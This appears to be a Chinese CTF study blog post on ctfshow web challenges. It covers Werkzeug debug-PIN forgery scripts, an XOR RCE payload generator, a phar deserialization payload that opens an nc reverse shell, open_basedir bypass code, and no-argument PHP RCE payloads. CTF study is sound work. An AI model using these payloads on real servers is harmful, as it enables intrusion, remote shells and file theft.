小记一手ctfshow web入门常用姿势
参考
https://blog.csdn.net/weixin_54648419/article/details/123632203
条件: flask debug模式开启 存在任意文件读取
#生效时间为一周
PIN_TIME = 60 * 60 * 24 * 7
def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
_machine_id: t.Optional[t.Union[str, bytes]] = None
#获取机器号
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
#读取文件进行拼接
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
#继续进行拼接,这里处理一下只要/docker后的东西
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
# subprocess may not be available, e.g. Google App Engine
# https://github.com/pallets/werkzeug/issues/925
from subprocess import Popen, PIPE
dump = Popen(
["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
).communicate()[0]
match = re.search(b'"serial-number" = <([^>]+)', dump)
if match is not None:
return match.group(1)
except (OSError, ImportError):
pass
# On Windows, use winreg to get the machine guid.
if sys.platform == "win32":
import winreg
try:
with winreg.OpenKey(
winreg.HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Cryptography",
0,
winreg.KEY_READ | winreg.KEY_WOW64_64KEY,
) as rk:
guid: t.Union[str, bytes]
guid_type: int
guid, guid_type = winreg.QueryValueEx(rk, "MachineGuid")
if guid_type == winreg.REG_SZ:
return guid.encode("utf-8")
return guid
except OSError:
pass
return None
_machine_id = _generate()
return _machine_id
class _ConsoleFrame:
"""Helper class so that we can reuse the frame console code for the
standalone console.
"""
def __init__(self, namespace: t.Dict[str, t.Any]):
self.console = Console(namespace)
self.id = 0
def get_pin_and_cookie_name(
app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None
# Pin was explicitly disabled
if pin == "off":
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdigit():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin
modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
username: t.Optional[str]
try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv, cookie_name
回看commit返现问题
https://github.com/pallets/werkzeug/commit/617309a7c317ae1ade428de48f5bc4a906c2950f
werkzeug 1.0.0rc1 release中做了变动
def get_machine_id():
global _machine_id
rv = _machine_id
if rv is not None:
return rv
def _generate():
# docker containers share the same machine id, get the
# container id instead
try:
with open("/proc/self/cgroup") as f:
value = f.readline()
except IOError:
pass
else:
value = value.strip().partition("/docker/")[2]
if value:
return value
# Potential sources of secret information on linux. The machine-id
# is stable across boots, the boot id is not
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
return f.readline().strip()
except IOError:
continue
可以看到先从/proc/self/cgroup判断是否是docker容器,如果有符合条件的值直接返回value;如果未在cgroup中读到/docker/后的内容
进行下一步,先后读取/etc/machine-id 和 boot_id中的值返回一个
所以此处machine-id应为
docker: cgroup中 /docker/后的内容
非docker: 先后读取machine-id和boot_id 有值即取
def _generate():
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except IOError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except IOError:
pass
if linux:
return linux
先从/etc/machine-id和/proc/sys/kernel/random/boot_id读出一个就跳出,然后再读取/proc/self/cgroup中的id值拼接
所以此处machine-id为
/etc/machine-id + /proc/self/cgroup
或
/proc/sys/kernel/random/boot_id + /proc/self/cgroup
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'25214234362297',# str(uuid.getnode()), /sys/class/net/ens33/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'root'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'2485377581187',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'# /proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
username看到带shell的也就root了
接下来两个都是默认值
moddir
/usr/local/lib/python3.8/site-packages/flask/app.py
MAC
2485377618015
machine-id
653dc458-4634-42b1-9a7a-b22a082e1fceed5c8ceff0d394a6cb7c28766faf1e8f4e5ef6a8e2ccbea7d1577e858915b0d1
https://blog.csdn.net/miuzzx/article/details/109143413
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
下次一定一定记得 没有写权限就往tmp临时目录写…
phar包就当压缩包用了
贴源码
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: [email protected]
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
$content = $_POST['content'];
if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file.'.txt')){
include $file.'.txt';
}else{
file_put_contents($file,$content);
}
}
可能不谈反序列化,有的人就不想用phar了…
不用自定义meta-data了
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(''); //设置stub
$phar->addFromString('test.txt', ''); //
$phar->stopBuffering();
// phar生成
?>
老生常谈了 题目中如果没有unserialize函数
写过
https://blog.csdn.net/weixin_45751765/article/details/123733647?spm=1001.2014.3001.5501
class hacker{
public $code;
public function __destruct(){
eval($this->code);
}
}
// @unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
// $phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ); //压缩规避敏感字符
$phar->startBuffering();
$phar->setStub("GIF89a".""); //设置stub
$o = new hacker();
$o->code="system('nc xxxx 7777 -e /bin/sh');";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
// phar生成
?>
glob探测目录
$a = "glob:///*";
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo $file."\n";
}
closedir($b);
}
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
mkdir($paths[$i]);
chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
mkdir($name);
chdir($name);
$j++;
}
for ($i = 0; $i <= $j; $i++) {
chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');
function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);
$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;
foreach($from as $depth => $dir) {
// find first non-matching dir
if($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}
function delfile($deldir){
if (@is_file($deldir)) {
@chmod($deldir,0777);
return @unlink($deldir);
}else if(@is_dir($deldir)){
if(($mydir = @opendir($deldir)) == NULL) return false;
while(false !== ($file = @readdir($mydir)))
{
$name = File_Str($deldir.'/'.$file);
if(($file!='.') && ($file!='..')){delfile($name);}
}
@closedir($mydir);
@chmod($deldir,0777);
return @rmdir($deldir) ? true : false;
}
}
function File_Str($string)
{
return str_replace('//','/',str_replace('\\','/',$string));
}
function getRandStr($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randStr = '';
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $randStr;
}
不赘述
mkdir("s");
chdir('s');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo file_get_contents("/ctfshowflag");
参考
https://www.cnblogs.com/sylover/p/11863778.html
仅限php7版本以下使用
http-header传参
在session_id中设置我们想要输入的RCE,达到传参的目的,但是第一点需要session_start()开启session会话。
payload:code=eval(hex2bin(session_id(session_start())));
hex(“phpinfo();”)=706870696e666f28293b
此处第一种方法不可行(maybe我太菜了没理解)
会话已存活 无法改变session_id
获取请求头信息
(PHP 4, PHP 5, PHP 7, PHP 8)
getallheaders — 获取全部 HTTP 请求头信息
说明 ¶
getallheaders(): array
获取当前请求的所有请求头信息。
(PHP 4, PHP 5, PHP 7, PHP 8)
end — 将数组的内部指针指向最后一个单元
说明 ¶
end(array|object &$array): mixed
end() 将 array 的内部指针移动到最后一个单元并返回其值
(PHP 4, PHP 5, PHP 7, PHP 8)
array_reverse — 返回单元顺序相反的数组
说明 ¶
array_reverse(array $array, bool $preserve_keys = false): array
array_reverse() 接受数组 array 作为输入并返回一个单元为相反顺序的新数组。
一套combo我们可以取出请求头中最后一位
(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)
get_defined_vars — 返回由所有已定义变量所组成的数组
描述 ¶
get_defined_vars(): array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
先get_defined_vars()得到四个数组get -> post -> cookie -> files
current定位第一个get
code之后再定义一个参数前面套个end就能拿到我们自定义的
/?code=var_dump(end(current(get_defined_vars())));&b=1
写过
https://blog.csdn.net/weixin_45751765/article/details/121529484?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164986759116780271987419%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=164986759116780271987419&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogfirst_rank_ecpm_v1~rank_v31_ecpm-6-121529484.nonecase&utm_term=current&spm=1018.2226.3001.4450
php特性:对目录取目录得上级目录!
(PHP 4, PHP 5, PHP 7, PHP 8)
dirname — 返回路径中的目录部分
说明 ¶
dirname(string $path, int $levels = 1): string
给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名,且目录深度为 levels 级。
/?code=print_r(scandir(dirname(dirname(dirname(dirname(getcwd()))))));
(PHP 4, PHP 5, PHP 7, PHP 8)
array_flip — 交换数组中的键和值
说明 ¶
array_flip(array $array): array
array_flip() 返回一个反转后的 array,例如 array 中的键名变成了值,而 array 中的值成了键名。
(PHP 4, PHP 5, PHP 7, PHP 8)
array_rand — 从数组中随机取出一个或多个随机键
说明 ¶
array_rand(array $array, int $num = 1): int|string|array
从数组中取出一个或多个随机的单元,并返回随机条目对应的键(一个或多个)。 它使用了伪随机数产生算法,所以不适合密码学场景。
参数 ¶
array
输入的数组。
num
指定要取出的单元数量。
返回值 ¶
如果只取出一个,array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。 如果返回的是包含随机键名的数组,数组单元的顺序按照键名在原数组中的顺序排列。 取出数量如果超过 array 的长度,就会导致 E_WARNING 错误,并返回 NULL。
(PHP 5, PHP 7, PHP 8)
str_split — 将字符串转换为数组
说明 ¶
str_split(string $string, int $split_length = 1): array
将一个字符串转换为数组。
参数 ¶
string
输入字符串。
split_length
每一段的长度。
(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)
set_include_path — 设置 include_path 配置选项
说明 ¶
set_include_path(string $new_include_path): string
为当前脚本设置 include_path 运行时的配置选项。
返回值 ¶
成功时返回旧的 include_path 或者在失败时返回 false。
此题中旧的include_path为 .:/usr/local/lib/php
存在我们所需要的字符串 /
又能让show_source可以读取include_path下的文件
一举两得
拆分一下看起来更易懂
set_include_path返回 .:/usr/local/lib/php
?code=show_source(array_rand(array_flip(scandir(array_rand(x));
x=array_flip(str_split(set_include_path(dirname(dirname(dirname(getcwd()))))))
php > echo array_rand(array_flip(str_split('.:/usr/local/lib/php')));
Xdebug: [Step Debug] Time-out connecting to debugging client, waited: 200 ms. Tried: localhost:9000 (through xdebug.client_host/xdebug.client_port) :-(
/
然后同样的套路 show_source随机读
这种利用方法需要持续发包碰运气撞出来
本来想801-806放在一起的… 但好像太冗长了 还是拆开来吧